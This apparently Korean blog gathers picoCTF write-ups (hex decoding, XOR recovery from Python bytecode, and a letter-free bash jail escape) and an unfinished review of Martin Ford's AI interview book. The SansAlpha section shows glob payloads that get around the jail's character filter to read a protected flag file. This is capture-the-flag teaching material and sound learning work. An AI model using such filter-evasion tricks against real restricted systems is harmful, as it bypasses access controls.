이 문제는 예전 블로그에 풀이를 올리지 않아서 올린다. 한 방에 풀 수 있게 생겼다. 힌트에서는 cyberchef, bytes.fromhex를 쓰라고 하는데 terminal이 제일 빨라 보인다.

 

0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d

 

echo 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d | xxd -r -p

 

xxd -r(revert)는 hex에서 ascii로 바꾸는 옵션이다.

-p(plain)는 line number와 같은 불필요한 정보는 보여주지 않고 hex값만 보여주는 옵션이다.

 

picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_445d4180}

 

ASCII no questions I'll tell you no라는 의미를 가진 flag가 나온다.  처음에는 익숙하지 않더라도 다양한 *nix command들을 계속 사용해 보고 점점 몸에 익히려고 노력하는 자세가 중요하다고 생각한다. 

참고로 어떤 command가 존재하는 것을 아는 것과 본인이 사용할 수 있는 것 과는 매우 큰 차이가 있다. 어려운 command들은 조금씩 눈으로 봐두고 자주 사용되는 command들은 불편하더라도 조금씩 일상생활에 써보자. 

'picoCTF' 카테고리의 다른 글

Who are you?  (3) 2024.11.09
No Sql Injection  (4) 2024.11.07
weirdSnake  (0) 2024.11.06
SansAlpha  (0) 2024.11.06
Verify  (0) 2024.10.29

아래와 같은 Python bytecode를 준다. Python bytecode는 Python 코드의 중간 단계라고 생각하면 된다.  그래서 그런지 살짝 assembly와 유사하게 생겼다. C로 작성된 Python Compiler가  Python 코드를 bytecode로 바꾼다. Python bytecode는 __pycache__ directory에 .pyc 파일로 저장이 된다. Python bytecode는 여러 platform(Linux, Windows, MacOS)에서 모두 동작해야 하기 때문에 platform 독립적이다. 

 

  1           0 LOAD_CONST               0 (4)
              2 LOAD_CONST               1 (54)
              4 LOAD_CONST               2 (41)
              6 LOAD_CONST               3 (0)
              8 LOAD_CONST               4 (112)
             10 LOAD_CONST               5 (32)
             12 LOAD_CONST               6 (25)
             14 LOAD_CONST               7 (49)
             16 LOAD_CONST               8 (33)
             18 LOAD_CONST               9 (3)
             20 LOAD_CONST               3 (0)
             22 LOAD_CONST               3 (0)
             24 LOAD_CONST              10 (57)
             26 LOAD_CONST               5 (32)
             28 LOAD_CONST              11 (108)
             30 LOAD_CONST              12 (23)
             32 LOAD_CONST              13 (48)
             34 LOAD_CONST               0 (4)
             36 LOAD_CONST              14 (9)
             38 LOAD_CONST              15 (70)
             40 LOAD_CONST              16 (7)
             42 LOAD_CONST              17 (110)
             44 LOAD_CONST              18 (36)
             46 LOAD_CONST              19 (8)
             48 LOAD_CONST              11 (108)
             50 LOAD_CONST              16 (7)
             52 LOAD_CONST               7 (49)
             54 LOAD_CONST              20 (10)
             56 LOAD_CONST               0 (4)
             58 LOAD_CONST              21 (86)
             60 LOAD_CONST              22 (43)
             62 LOAD_CONST              23 (59)
             64 LOAD_CONST              24 (124)
             66 LOAD_CONST              21 (86)
             68 LOAD_CONST               3 (0)
             70 LOAD_CONST              25 (69)
             72 LOAD_CONST              23 (59)
             74 LOAD_CONST              26 (47)
             76 LOAD_CONST              27 (93)
             78 LOAD_CONST              28 (78)
             80 BUILD_LIST              40
             82 STORE_NAME               0 (input_list)

  2          84 LOAD_CONST              29 ('J')
             86 STORE_NAME               1 (key_str)

  3          88 LOAD_CONST              30 ('_')
             90 LOAD_NAME                1 (key_str)
             92 BINARY_ADD
             94 STORE_NAME               1 (key_str)

  4          96 LOAD_NAME                1 (key_str)
             98 LOAD_CONST              31 ('o')
            100 BINARY_ADD
            102 STORE_NAME               1 (key_str)

  5         104 LOAD_NAME                1 (key_str)
            106 LOAD_CONST              32 ('3')
            108 BINARY_ADD
            110 STORE_NAME               1 (key_str)

  6         112 LOAD_CONST              33 ('t')
            114 LOAD_NAME                1 (key_str)
            116 BINARY_ADD
            118 STORE_NAME               1 (key_str)

  9         120 LOAD_CONST              34 (<code object <listcomp> at 0x7f747ebded40, file "snake.py", line 9>)
            122 LOAD_CONST              35 ('<listcomp>')
            124 MAKE_FUNCTION            0
            126 LOAD_NAME                1 (key_str)
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 STORE_NAME               2 (key_list)

 11     >>  134 LOAD_NAME                3 (len)
            136 LOAD_NAME                2 (key_list)
            138 CALL_FUNCTION            1
            140 LOAD_NAME                3 (len)
            142 LOAD_NAME                0 (input_list)
            144 CALL_FUNCTION            1
            146 COMPARE_OP               0 (<)
            148 POP_JUMP_IF_FALSE      162

 12         150 LOAD_NAME                2 (key_list)
            152 LOAD_METHOD              4 (extend)
            154 LOAD_NAME                2 (key_list)
            156 CALL_METHOD              1
            158 POP_TOP
            160 JUMP_ABSOLUTE          134

 15     >>  162 LOAD_CONST              36 (<code object <listcomp> at 0x7f747ebdedf0, file "snake.py", line 15>)
            164 LOAD_CONST              35 ('<listcomp>')
            166 MAKE_FUNCTION            0
            168 LOAD_NAME                5 (zip)
            170 LOAD_NAME                0 (input_list)
            172 LOAD_NAME                2 (key_list)
            174 CALL_FUNCTION            2
            176 GET_ITER
            178 CALL_FUNCTION            1
            180 STORE_NAME               6 (result)

 18         182 LOAD_CONST              37 ('')
            184 LOAD_METHOD              7 (join)
            186 LOAD_NAME                8 (map)
            188 LOAD_NAME                9 (chr)
            190 LOAD_NAME                6 (result)
            192 CALL_FUNCTION            2
            194 CALL_METHOD              1
            196 STORE_NAME              10 (result_text)
            198 LOAD_CONST              38 (None)
            200 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x7f747ebded40, file "snake.py", line 9>:
  9           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                12 (to 18)
              6 STORE_FAST               1 (char)
              8 LOAD_GLOBAL              0 (ord)
             10 LOAD_FAST                1 (char)
             12 CALL_FUNCTION            1
             14 LIST_APPEND              2
             16 JUMP_ABSOLUTE            4
        >>   18 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x7f747ebdedf0, file "snake.py", line 15>:
 15           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                16 (to 22)
              6 UNPACK_SEQUENCE          2
              8 STORE_FAST               1 (a)
             10 STORE_FAST               2 (b)
             12 LOAD_FAST                1 (a)
             14 LOAD_FAST                2 (b)
             16 BINARY_XOR
             18 LIST_APPEND              2
             20 JUMP_ABSOLUTE            4
        >>   22 RETURN_VALUE

 

자세히 보면 (zip, join, map, chr) 같은  python 함수들이 보인다. 

 

36 (<code object <listcomp> at 0x7f747ebdedf0, file "snake.py", line 15>)
35 ('<listcomp>')
0
5 (zip)
0 (input_list)
2 (key_list)
2

1
6 (result)

37 ('')
7 (join)
8 (map)
9 (chr)
6 (result)
2
1
10 (result_text)
38 (None)

 

앞에서 나온 괄호 안에 있는 숫자들을 list로 만드는 것을 알 수 있다. 

80 BUILD_LIST              40
82 STORE_NAME               0 (input_list)

 

이 부분을 보면 'J', '_', o', '3', 't'로 key_str을 만드는 것을 알 수 있다. 

  2          84 LOAD_CONST              29 ('J')
             86 STORE_NAME               1 (key_str)

  3          88 LOAD_CONST              30 ('_')
             90 LOAD_NAME                1 (key_str)
             92 BINARY_ADD
             94 STORE_NAME               1 (key_str)

  4          96 LOAD_NAME                1 (key_str)
             98 LOAD_CONST              31 ('o')
            100 BINARY_ADD
            102 STORE_NAME               1 (key_str)

  5         104 LOAD_NAME                1 (key_str)
            106 LOAD_CONST              32 ('3')
            108 BINARY_ADD
            110 STORE_NAME               1 (key_str)

  6         112 LOAD_CONST              33 ('t')
            114 LOAD_NAME                1 (key_str)
            116 BINARY_ADD
            118 STORE_NAME               1 (key_str)

 

 MAKE_FUNCTION을 이용하기 때문에 key_str이 변형될 수도 있겠다는 생각이 든다. 

  9         120 LOAD_CONST              34 (<code object <listcomp> at 0x7f747ebded40, file "snake.py", line 9>)
            122 LOAD_CONST              35 ('<listcomp>')
            124 MAKE_FUNCTION            0
            126 LOAD_NAME                1 (key_str)
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 STORE_NAME               2 (key_list)

 11     >>  134 LOAD_NAME                3 (len)
            136 LOAD_NAME                2 (key_list)
            138 CALL_FUNCTION            1
            140 LOAD_NAME                3 (len)
            142 LOAD_NAME                0 (input_list)
            144 CALL_FUNCTION            1
            146 COMPARE_OP               0 (<)
            148 POP_JUMP_IF_FALSE      162

 

마지막 부분을 보면 xor를 하는 것을 알 수 있다. xor을 하려면 2개 이상의 값이 필요하다.

여태까지 나온 변수는 input_list와 key_list 밖에 없으니 input_list와 key_list를 xor 할 가능성이 높아 보인다.

Disassembly of <code object <listcomp> at 0x7f747ebdedf0, file "snake.py", line 15>:
 15           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                16 (to 22)
              6 UNPACK_SEQUENCE          2
              8 STORE_FAST               1 (a)
             10 STORE_FAST               2 (b)
             12 LOAD_FAST                1 (a)
             14 LOAD_FAST                2 (b)
             16 BINARY_XOR
             18 LIST_APPEND              2
             20 JUMP_ABSOLUTE            4
        >>   22 RETURN_VALUE

 

 

이제 LOAD CONST 오른쪽 괄호 안에  input_list의 값들만 골라내야 되는데 생각보다 input_list를 뽑아내기가 복잡하다. 

일단 ctrl+shift+l를 vscode에서 누르면 블록을 지정해서 괄호 안에 있는 숫자를 골라낼 수 있다. 추가로 선택한 블록 뒤에 있는 값들이 딸려오기는 하지만 무시하면 된다. 

 

(4)
 
(54)

(41)

(0)
 
(112)
(32)

(25)

(49)

(33)

(3)
 
(0)
 
(0)
 
(57)

(32)

(108)
(23)

(48)

(4)
 
(9)
 
(70)

(7)
 
(110)
(36)

(8)
 
(108)
(7)
 
(49)

(10)

(4)
 
(86)

(43)

(59)

(124)
(86)

(0)
 
(69)

(59)

(47)

(93)

(78)

(inpu
('J')
(key_
('_')
(key_
(key_
(key_
('o')
(key_
(key_
('3')
(key_
('t')
(key_
(key_
(<cod
('<li
(key_
(key_
(len)
(key_
(len)
(inpu
(<)
 
(key_
(exte
(key_
(<cod
('<li
(zip)
(inpu
(key_
(resu
('')

(join
(map)
(chr)
(resu
(resu
(None
(.0)

(to 1
(char
(ord)
(char
(.0)

(to 2
(a)
 
(b)
 
(a)
 
(b)

 

일단 여기서 괄호를 IDE로 다 없애면 다음과 같다. Vs code에서 [()]를 입력한 후  replace를 누르면 된다. 

 

[()]

 

 

 

 

 

괄호 안에 있는 숫자만 고르고 밑에 있는 부분은 다 버렸다.

 

4
 
54

41

0
 
112
32

25

49

33

3
 
0
 
0
 
57

32

108
23

48

4
 
9
 
70

7
 
110
36

8
 
108
7
 
49

10

4
 
86

43

59

124
86

0
 
69

59

47

93

78

 

 

아래의 command를 입력하면 숫자 사이사이에 있는 '\n'을 지우고 separator를 ', '로 만들 수 있다. 이 command는 ChatGPT가 만들어줬다. 나는 아직 terminal에서 텍스트를 저렇게 다룰 수 있는 실력을 가지고 있지 않다.

참고로 grep, tr, sed를 처음 들어봤다면 무조건 이 책을 읽자. 처음이 아니더라도 꼭 읽는 것을 추천한다.

 

grep -v '^[[:space:]]*$' snake  | tr '\n' ',' | sed 's/,$//

 

그래도 설명은 해 보겠다.

grep -v(invert)는 매칭되는 패턴을 제외한 나머지 부분을 보여준다. 

[[:space:]]는 whitespace(' ', '\t' , '\n' , '\r')를 가리킨다.

Regular Expression에서 ^는 특정한 패턴으로 시작해야 한다는 뜻이다.  *는 패턴에 매칭하는 부분이 최소 0개 이상이어야 한다. $는 line의 끝을 의미한다. tr '\n' ', '는 '\n'을 ', '로 바꾸는 역할이다.  sed 's/,$//는  줄 끝에 있는 $를 없애준다.

즉 위의 command가 하는 역할을 한 줄로 하면 whitespace가 없는 줄만 선택해서 newline을 ','로 바꾸고 줄 끝에 있는 ', '는 없애는 것이다. 

 

4,54,41,0,112,32,25,49,33,3,0,0,57,32,108,23,48,4,9,70,7,110,36,8,108,7,49,10,4,86,43,59,124,86,0,69,59,47,93,78

 

 

key_list는 몇 글자 안 돼서 손으로 고른 후에 input_list랑 xor 하는 Python 코드를 짰는데 flag가 개판으로 나온다. 

 

from itertools import cycle 

input_list=[4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 59, 124, 86, 0, 69, 59, 47, 93, 78]

key_list='J_o3t'

result=[a ^ ord(b) for a,b in zip(input_list,cycle(key_list))]

flag=''.join(chr(c) for c in result)
print(flag)

 

NiF3jF^wJ_V]ok:2M1K;Mne7"adetd@n:

 

 

어쩔 수 없이 cyberchef를 이용했다. 여기서 XOR 키를 J_o3t로 주면 flag가 안 나온다. XOR키에 역으로 picoCTF를 주면 XOR의 교환법칙 때문에 어떤 키를 XOR 해야지 picoCTF가 나오는지를 알 수 있다.

 

 

 

t_Jo3을 키로 주면 picoCTF가 나오는 것 같다. 

 

 

 

t_Jo3를 키로 설정한 후 cyberchef에서 flag를 얻어도 되고 Python 코드를 살짝 수정해도 된다. 

itertools의 cycle은 xor cipher 하는데 굉장히 유용하게 쓰인다. 말 그대로 같은 elements를 반복해서 xor 하는 데 사용된다. 

input_list는 이미 숫자이고 key_list만 string이기 때문에 보기 안 좋지만 한쪽에만 ord()를 걸어줬다.  참고로 숫자끼리만 xor을 할 수 있다.

 

from itertools import cycle 

input_list=[4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 59, 124, 86, 0, 69, 59, 47, 93, 78]

key_list='t_Jo3'

result=[a ^ ord(b) for a,b in zip(input_list,cycle(key_list))]

flag=''.join(chr(c) for c in result)
print(flag)

 

flag가 나온다. Not so confusing snake

picoCTF{N0t_sO_coNfus1ng_sn@ke_d6931de2}

 

key_list를 섞어놔서 cyberchef에서 올바른 키를 찾아야 한다는 점은 좀 마음에 안 들었다. Cyberchef를 쓰지 않고 올바른 key를 구하는 사람이 있다면 어떻게 key를 찾았는지 물어보고 싶다. 내가 byte code를 해석하는 능력이 약해서 이렇게 푼 것인지 아니면 문제에서 이게 의도한 풀이인지 잘 모르겠다. 처음부터 그냥 올바른 key_list를 주어줘서 xor 하여 flag를 구하는 문제였으면 더 좋았을 것 같다. 

개인적으로는 이 문제는 좀 어려웠다.

'picoCTF' 카테고리의 다른 글

No Sql Injection  (4) 2024.11.07
ASCII Numbers  (4) 2024.11.06
SansAlpha  (0) 2024.11.06
Verify  (0) 2024.10.29
Trickster  (1) 2024.10.29

이 문제는 bash jail류의 문제이다. 이런 문제를 푼 적이 없어서 답을 참고했다. 

 

Multiverse는 우리가 쉽게 이해할 수 있다. 아쉽게도 서버는 숫자와 기호로만 이루어진 키보드를 사용하고 있는 멀티버스이다.

 

The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols.

 

문제 설명에서 얘기하다시피 alphabet은 입력할 수가 없어서 ls, cat 등 매일 사용하는 linux command들을 사용할 수 없다. 

 

 ls
SansAlpha: Unknown character detected

 

SansAlpha$ cat
SansAlpha: Unknown character detected

 

*을 입력하면 전체 시스템에서 어떤 파일, directory들이 있는지 알려준다. 우리의 경우 blargh directory가 있다. 

SansAlpha$ *
bash: blargh: command not found

 

blargh 밑에는 어떤 파일이나 directory가 있는지 확인하려고 */*를 입력하니 flag.txt가 있는 것을 알아냈다. 문제는 flag.txt의 read permission이 없어서 flag.txt를 볼 수 없다. 

 

SansAlpha$ */*
bash: blargh/flag.txt: Permission denied

 

root 밑에는 어떠한 executable, directory들이 있는지 알아보기 위해서 /*를 입력했다. /bin이 있다고 알려준다.

SansAlpha$ /*
bash: /bin: Is a directory

 

?을 이용하면 파일 이름의 길이가 ?의 개수와 같은 파일들만 보여준다.  여기서 살짝 guessing이 들어가는데? 한개부터 ??????까지 입력을 해 봐야 한다는 것이다. ??????을 입력하면 base32를 서버 측 linux에서 base32를 띄워주다가 base64를 잘못 사용하고 있다고 알려준다. 여기서 base64를 이용해야 할 수도 있겠구나는 것을 감으로 잡아야 한다. 

 

SansAlpha$ /*/??????
/bin/base32: extra operand '/bin/base64'
Try '/bin/base32 --help' for more information.

 

숫자는 사용이 가능하니 ????64로 base64를 이용하여 flag.txt를 읽으려고 했으나. 서버에서 base64가 아닌 x86_64를 선택해 버렸다. x86_64는 앞에 3글자가 오고 4,5번째 글자가 64이니 우리가 입력한 glob에 맞는 프로그램이기는 하다. 

 

SansAlpha $/*/????64 */*
/bin/base64: extra operand '/bin/x86_64'
Try '/bin/base64 --help' for more information.

 

x86_64가 아닌 base64를 선택하기 위해서 4번째 글자는 !으로 '_'이 아닌 글자만 선택할 수 있게 했다. 이번에는 blargh 밑에 flag.txt 이외에도 여러 파일이 있는 것 때문에 base64가 제대로 작동하지 않았다. 

 

SansAlpha$ /*/???[!_]64 */*
/bin/base64: extra operand 'blargh/flag.txt'
Try '/bin/base64 --help' for more information

 

flag.txt를 표현하기 위해서 앞에 4글자는 ?으로 표시하고 뒤에 .* 으로 어떤 확장자를 가진 파일도 선택할 수 있게끔 glob를 바꿨다. 

그랬더니 base64 인코딩 된 string이 나온다. 

SansAlpha$ /*/???[!_]64 */????.*
cmV0dXJuIDAgcGljb0NURns3aDE1X211MTcxdjNyNTNfMTVfbTRkbjM1NV8xNDUyNTZlY30=

 

base64로 디코딩을 하니 This multiverse is madness라는 flag가 나온다. 

 

base64 -d <<< 'cmV0dXJuIDAgcGljb0NURns3aDE1X211MTcxdjNyNTNfMTVfbTRkbjM1NV8xNDUyNTZlY30='
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_145256ec}

'picoCTF' 카테고리의 다른 글

ASCII Numbers  (4) 2024.11.06
weirdSnake  (0) 2024.11.06
Verify  (0) 2024.10.29
Trickster  (1) 2024.10.29
findme  (0) 2024.10.29
 
AI 마인드
개발자들이 말하는 진실 : 인공지능은 세상을 어떻게 바꾸고 있고 어떻게 바꿀 것인가 지금까지 인공지능에 관련된 주제로 출간된 대부분의 책들은 인공지능 개발자나 현장 전문가 아닌 유명한 인사들 혹은 경제학자, 미래학자, 언론인들의 미래 예측을 담고 있습니다. 하지만 이 책은 인공지능을 연구하는 세계에서 가장 저명한 개발자 및 기업가들과의 대화를 통해 인공지능 분야와 관련된 진실을 조명하고 있습니다. 인터뷰 대상 중 대부분이 인공지능의 발전에 실제로 큰 기여를 했으며 일부는 인공지능, 로봇 공학 및 머신러닝 분야를 선도하는 회사를 설립하기도 했습니다. 알파고를 개발한 데미스 허사비스부터 현대 인공지능의 아버지라 불리는 제프리 힌튼까지 총 23인의 인공지능 전문가들에게 “인공지능이 계속 발전하면서 우리가 직면하게 될 가장 시급한 문제를 해결할 수 있는 방안”들을 알아보기 위해 인터뷰 형식으로 꾸며져 있습니다.
저자
마틴 포드
출판
터닝포인트
출판일
2019.07.01

 

오랜만에 나름(?) 기술적인 책을 읽었다. 원래 이 책을 읽을 생각은 없었으나 내가 빌리고 싶은 책을 남들이 전부 빌려가는 바람에 읽을만한 책이 없을까 한 참 뒤지다가 이 책이 괜찮아 보여서 빌렸다. 

 

원서는 이 책이다. 한국어 번역본은 2019년에 나온 것 같다.  이 책은 미래학자겸 작가인 마틴 포드가 현재 AI 학계, 업계에서 가장 핫한 사람들을 인터뷰하는 구조로 이루어져 있다. 저자가 23명을 인터뷰하기 때문에 각 인터뷰 대상자의 분량이 그리 길지는 않다. 

저자가 인터뷰하는 23명이 누구인지 알아보자. 

 

1. 데미스 허사비스(Demis Hassabis) 

첫 번째 인터뷰 대상자는 체스 천재였던 데미스 허사비스이다. 데미스 허사비스는 2010년 딥마인드(DeepMind)를 공동 설립했고 딥마인드는 2014년 구글에 인수되었다. 이세돌과 바둑을 둬서 이긴 알파고(Alphago)가 딥마인드에서 개발되었다. 추가로 데미스 허사비시는 올해(2024년) 노벨 화학상을 받았다. 

https://www.youtube.com/watch?v=Gfr50f6ZBvo

 

2. 리 페이페이(FEI-FEI LI) 

 

리 페이페이는 이미지 분류를 위해 사용되는 대규모 데이터베이스 이미지넷(ImageNet)을 창안한 사람이다. 구글 클라우드에서 인공지능 및 머신러닝 담당 수석 과학자로 근무했으며 스탠퍼드 대학교의 인공지능 랩(Stanford Artificial Intellignce Lab) SAIL의 이사이다.

AI4ALL을 통해서 여성과 소외된 계층을 위해서도 인공지능을 교육하고 있다.

 

3. 앤드류 응 (Andrew Ng) 

 

앤드류 응은 스탠퍼드 대학교 컴퓨터 과학과 부교수이다. 앤드류 응이 스탠퍼드에서 강의하는 CS229(Machine Learning)은 인공지능을 공부하는 이들에게는 필수인 강의이다. 교육 불평등 해소를 위해 MOOC인 Coursera를 창립했으며 중국 바이두의 수석 과학자가 되어 인공지능 그룹도 만들었다. 2018년에는 인공지능 분야에서 스타트업을 키우는 벤처 캐피털 회사인 AI 펀드를 설립했다. 

흔히 얘기하는 AI 4대 천왕 중 한 명이고 그 4명 중에서 가장 젊다.

https://www.youtube.com/watch?v=0jspaMLxBig

 

 

4. 닉 보스트롬 (Nick Bostrom) 

 

닉 보스트롬은 옥스터드 대학교의 인류미래연구소(Future of Humanity Institute)의 창립 이사이다. 인류미래연구소에서는 인공지능이 인류에 가져올 영향력에 대해서 여러 분야에 걸쳐서 연구하고 있다. 슈퍼인텔리전스 등 200개가 넘는 출판물을 집필한 전문 작가이다. 

https://www.youtube.com/watch?v=rfKiTGj-zeQ

 

5. 제임스 매니카 (James Manyika) 

 

제임스 매니카는 맥킨지 & 컴퍼니의 선임 파트너 겸 맥킨지 글로벌 연구소의 회장이다. 맥킨지 글로벌 연구소에서는 기술, 디지털 경제, 성장, 생산성 및 세계화에 대한 연구를 주도하고 있다. 제임스 매니카는 유명 기술 회사의 대표와 경영진들에게 컨설팅을 해주고 있다. 

 

6. 다니엘라 러스(Daniela Rus) 

 

다니엘라 러스는 MIT의 컨퓨터 과학 및 인공지능 연구소 CSAIL(Computer Science and Artificial Intelligence LaB)의 소장이다. 

그녀는 ACM,AAAI,IEEE의 회원이고 로봇공학, 모바일 컴퓨팅, 데이터 과학 분야를 연구하고 있다. 

 

7. 제프리 딘 (Jeffrey Dean) 

 

제프리 딘은 1999년에 구글에 합류했다. 그는 현재 구글 브레인 프로젝트를 이끌고 있으며 구글 브레인 인공지능 연구의 총책임자이다. 

ACM, AAS의 연구원이기도 하다. 구글의 기계학습 라이브러리 TensorFlow 개발을 주도하여 오픈 소스로 배포했다.

 

8. 다프네 콜러 (Daphne Koller) 

 

다프네 콜러는 스탠포드 컴퓨터 과학과 교수이며 앤드류 응과 코세라(Coursera)를 공동 창업자였다. 그녀는 구글의 자회사인 칼리코의(CTO)이고 신약 개발 및 연구에서 딥러닝을 적용하고 있는 바이오기술 스타트업 인시트로(insitro)의 CEO이기도 하다. 

 

9. 얀 르쿤 (Yann Lecunn) 

 

얀 르쿤은 30년 이상을 인공지능과 머신러닝을 연구하고 있다. 그는 구 페이스북 현 메타(Meta)의 수석 인공지능 과학자이다. 메타 이전에는 AT&T Bell Labs에서 근무했으며 뇌의 시각 피질에서 영감을 얻은 합성곱 신경망(Convolutional Neural Networks) 개발에 기여했다. 앤드류 응과 더불어 AI 4대 천왕 중 한 명이다. 워낙 고인물이다 보니 Lex Fridman 팟캐스트에도 자주 나온다. 

 

https://www.youtube.com/watch?v=SGzMElJ11Cc

 

https://www.youtube.com/watch?v=5t1vTLU7s40

 

10. 라나 엘 칼리오우비 (RANA El Kaliouby) 

 

라나 엘 칼리오우비는 어펙티바(Affectiva)의 CEO 겸 공동 창립자이다. 어펙티바는 인간의 감정을 감지하고 이해하는 시스템을 다루고 있다.

 

11. 요슈아 벤지오 (Yoshua Bengio)

 

요슈아 벤지오는 몬트리올 대학의 컴퓨터 과학과 운용 과학 교수이다. 많은 학습 데이터에 의존하지 않고 신경망을 학습시킬 수 있는 비지도 학습(Unsupervised Learning)의 발전에 크게 기여했다. 현대 딥러닝의 교과서를 박사과정 제자 Ian Goodfellow와 같이 써서 무료로 공개하고 있다.

 

https://www.youtube.com/watch?v=azOmzumh0vQ

 

12. 레이 커즈와일 (Ray Kurzweil) 

 

레이 커즈와일은 발명가 겸 사상가 겸 미래학자이다. 1999년 빌 클린턴으로부터 미국에서 주는 기술 관련 최고 훈장인 국가기술혁신 훈장(The National Medal of Technology)을 받았다. 2012년부터는 구글에서 인공지능과 자연어 이해 연구 및 개발 엔지니어 팀을 이끌고 있다. 그는 특이점이 온다(Singularity)등을 쓴 베스트셀러 작가이기도 하다.

 

https://www.youtube.com/watch?v=ykY69lSpDdo

 

13. 게리 마커스 (Gary Marcus)

 

게리 마커스는 우버의 자회사인 Geometric Intelligence의 설립자 및 최고 경영자이다. 뉴욕대학교의 심리학 및 신경 과학 교수이기도 하다. 그는 The future of the Brain, Guitar Zero 등을 쓴 베스트셀러 작가이기도 하다.

https://www.youtube.com/watch?v=vNOTDn3D_RI&pp=ygULZ2FyeSBtYXJjdXM%3D

 

14. 바바라 J. 그로스츠 (Barbara J. Grosz)

 

바바라 J. 그로스츠는 하버드 대학의 자연 과학과 교수이다. 애플의 시리(Siri), 아마존의 알렉사(Alexa)와 같이 개인 비서 프로그램의 대화 처리 방식에서 획기적인 공헌을 했다. 인공지능 향상 협회의 여성으로서는 처음으로 회장직을 맡았다. 

 

15. 데이비드 페루치 (David Ferrucci)

 

데이비드 페루치는 IBM의 왓슨을 만들고 2011년 퀴즈쇼 제파디(Jeopardy!)에서 왓슨의 우승을 이끈 장본인이다. 2015년에는 언어 이해 능력을 가속하는 새로운 인공지능 시스템을 만드는데 중점을 둔 Elemental Cognition을 설립했다. 

 

16. 로드니 브룩스 (Rodney Brooks)

 

로드니 브룩스는 이라크 전쟁에서 폭탄을 폭파시키는 데 사용된 군사용 로봇을 생간 하는 iRobot Corporation의 공동 창업자이다. 

사람과 함께 한 공간에서 안전하게 작업할 수 있는 리씽크로보틱스(Rethink Robotics)를 공동 설립했다.  

https://www.youtube.com/watch?v=nre0QT9LN6w

 

17. 신시아 브리지엘 (Cynthia Breazeal)

 

신시아 브리지엘은 MIT Media Lab의 개인용 로봇그룹의 디렉터이자. JIbo Inc의 창립자이다. 

 

18. 오렌 엣치오니 (Oren Etzioni)

 

오렌 엣치오니는 마이크로소프의 공동 설립자 폴 앨런이 2014년에 설립한 독립 기관이며 비영리 단체인 앨런 인공지능 연구소의 최고경영자이다. 메타서치(meta-search) 서비스 제공자들의 결괏값을 취합해 검색결과를 제공하는 서비스, 머신리딩(machine reading) 문자기반의 딥러닝 기술, OIE(Open Information Extraction) 자연어 처리에서 텍스트의 정보를 구조화하고 기계가 읽을 수 있게 표현하는 작업의 개최자 역할을 했다. 

 

19. 브라이언 존슨 (Bryan Johnson)

 

브라이언 존슨은 커널(Kernel)을 설립했다. 커널은 사람의 수명이 연장됨에 따라 삶의 질을 획기적으로 향상시키는 연구를 하고 있다.

그는 벤모(Venmo)라는 모바일 결제 서비스를 만들기도 했다. 그는 유투버이기도 하며 굉장히 기이한 습관들을 가지고 있다. 

 

https://www.youtube.com/@BryanJohnson

 

Bryan Johnson

Bryan Johnson is the world's most measured human. Johnson sold his company, Braintree Venmo, to PayPal for $800m in 2013. Through his Project Blueprint, Johnson has achieved metabolic health equal to the top 1.5% of 18 year olds, inflammation 66% lower tha

www.youtube.com

 

20. 스튜어트 러셀 (Stuart Russell) 

 

스튜어트 J. 러셀은 UC 버클리의 컴퓨터 과학 교수겸 인간 호황 인공지능 센터의 소장을 맞고 있다. 그가 공동 집필한 책 인공지능 현대적 접근 (Artifical Intellignce: A Modern Approach)는 많은 대학에서 인공지능 교과서로 사용되고 있다. 

 

https://www.youtube.com/watch?v=KsZI5oXBC0k

 

21. 제프리 힌튼 (Geoffrey Hinton)

 

제프리 힌튼은 역전파(Backpropagation), 볼츠만 머신(Boltzmann machine), CapsNet과 같이 딥러닝의 핵심 기술을 이끌었다. 

그는 토론토 대학교 컴퓨터 과학과 명예 교수이다. 그의 제자 Ilya Sutskeva는 현재 OpenAI의 공동 창립자 중 한 명이다. 

그는 앤드류 응, 얀 르쿤, 요슈아 벤지오와 함께 AI 4대 천왕 중 한 명이기도 하다. 제프리 힌튼은 올해(2024년) 노벨 물리학상을 받았다.

 

22. 주데아 펄 (Judea Pearl) 

 

주데아 펄은 UCLA의 컴퓨터 과학 및 통계학 교수이자 인지 시스템 연구실 책임자이다. 그는 450편 이상의 과학 논문과 3개의 유명한 책을 집필한 저자이다. 휴리스틱(Heuristics, 1984), 확률적 추론(Probabilistic Reasoning, 1988), 인과성(2000;2009)과 2018년에는 The book of why를 집필했다. 2011년에는 컴퓨터 과학에서의 노벨상이라 여겨지는 튜링상을 수상했다. 

https://www.youtube.com/watch?v=pEBI0vF45ic

 

23. 조슈아 테넨바움 (Joshua Tenenbaum)

 

